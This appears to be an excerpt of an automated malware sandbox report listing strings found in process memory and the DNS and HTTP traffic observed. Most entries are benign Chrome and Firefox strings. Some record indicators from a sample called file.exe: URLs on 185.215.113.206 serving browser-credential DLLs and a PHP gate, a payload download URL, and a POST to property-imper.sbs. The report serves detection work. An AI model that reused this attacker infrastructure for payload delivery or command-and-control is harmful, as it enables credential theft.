rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;
Source: chrome.exe, 0000001A.00000003.2697619301.000016B000FD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2697303535.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2698130291.000016B0003A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;
Source: chrome.exe, 0000001A.00000002.2721978174.000016B00074C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2721530606.000016B0006D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/: equals www.youtube.com (Youtube)
Source: chrome.exe, 0000001A.00000002.2721978174.000016B00074C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2721530606.000016B0006D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/J equals www.youtube.com (Youtube)
Source: chrome.exe, 0000001A.00000002.2718518824.000016B0002C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.html equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: home.fvtekk5pn.top
Source: global traffic	DNS traffic detected: DNS query: fvtekk5pn.top
Source: global traffic	DNS traffic detected: DNS query: property-imper.sbs
Source: global traffic	DNS traffic detected: DNS query: youtube.com
Source: global traffic	DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic	DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: contile.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: spocs.getpocket.com
Source: global traffic	DNS traffic detected: DNS query: content-signature-2.cdn.mozilla.net
Source: global traffic	DNS traffic detected: DNS query: shavar.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: push.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: firefox.settings.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: prod.balrog.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: prod.ads.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: prod.content-signature-chains.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: telemetry-incoming.r53-2.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: prod.remote-settings.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: www.youtube.com
Source: global traffic	DNS traffic detected: DNS query: www.facebook.com
Source: global traffic	DNS traffic detected: DNS query: example.org
Source: global traffic	DNS traffic detected: DNS query: ipv4only.arpa
Source: global traffic	DNS traffic detected: DNS query: youtube-ui.l.google.com
Source: global traffic	DNS traffic detected: DNS query: star-mini.c10r.facebook.com
Source: global traffic	DNS traffic detected: DNS query: www.wikipedia.org
Source: global traffic	DNS traffic detected: DNS query: www.reddit.com
Source: global traffic	DNS traffic detected: DNS query: twitter.com
Source: global traffic	DNS traffic detected: DNS query: reddit.map.fastly.net
Source: global traffic	DNS traffic detected: DNS query: dyna.wikimedia.org
Source: global traffic	DNS traffic detected: DNS query: support.mozilla.org
Source: global traffic	DNS traffic detected: DNS query: us-west1.prod.sumo.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com
Source: global traffic	DNS traffic detected: DNS query: services.addons.mozilla.org
Source: global traffic	DNS traffic detected: DNS query: normandy.cdn.mozilla.net
Source: global traffic	DNS traffic detected: DNS query: normandy-cdn.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: mdec.nelreports.net

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: property-imper.sbs

Source: 5ff77f639c.exe, 0000000C.00000003.2348114391.00000000078E2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.css
Source: 5ff77f639c.exe, 0000000C.00000003.2348114391.00000000078E2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.jpg
Source: file.exe, 00000000.00000002.2128255409.0000000000CC4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2128255409.0000000000D05000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2128255409.0000000000CA7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000000.00000002.2127237618.0000000000367000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2128255409.0000000000C4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.2128255409.0000000000CA7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.2128255409.0000000000CA7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: file.exe, 00000000.00000002.2128255409.0000000000CA7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dllt
Source: file.exe, 00000000.00000002.2128255409.0000000000CA7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: file.exe, 00000000.00000002.2128255409.0000000000CA7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: file.exe, 00000000.00000002.2128255409.0000000000CA7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll0
Source: file.exe, 00000000.00000002.2128255409.0000000000CA7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: file.exe, 00000000.00000002.2128255409.0000000000CA7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: file.exe, 00000000.00000002.2128255409.0000000000CA7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: file.exe, 00000000.00000002.2128255409.0000000000CA7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll0
Source: file.exe, 00000000.00000002.2128255409.0000000000D05000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: file.exe, 00000000.00000002.2128255409.0000000000CA7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/G
Source: file.exe, 00000000.00000002.2128255409.0000000000CC4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: file.exe, 00000000.00000002.2128255409.0000000000C94000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php(
Source: file.exe, 00000000.00000002.2128255409.0000000000CC4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php(E
Source: file.exe, 00000000.00000002.2148382505.0000000023322000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpI
Source: file.exe, 00000000.00000002.2127237618.0000000000367000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpation
Source: file.exe, 00000000.00000002.2128255409.0000000000CC4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phplE
Source: file.exe, 00000000.00000002.2127237618.0000000000367000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206Local
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/1423136
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2162
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2162k
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2517
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2517s
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2970
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3078
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3205
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3205N
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3206
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3206N
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3452
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3498
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3502
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3577
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3584
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3586
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3586O
Source: chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2728083008.000016B000D84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3623
Source: chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2728083008.000016B000D84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3624
Source: chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2728083008.000016B000D84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3625
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3832
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3832.
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3862
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3965
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3970
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4324
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4384
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4405
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4428
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4428K
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4551
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4551B
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4633
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4633j
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4722
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4722F
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4836
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4901
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4901E
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4901H
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4901I
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4937
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4937D
Source: chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2719593935.000016B000488000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5007
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5055
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5061
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5061S
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5281
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5281#
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5371
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5375
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5421
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5430
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5535
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5658
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5750
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5881
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/58813
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/58815
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5881O
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5901
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5906
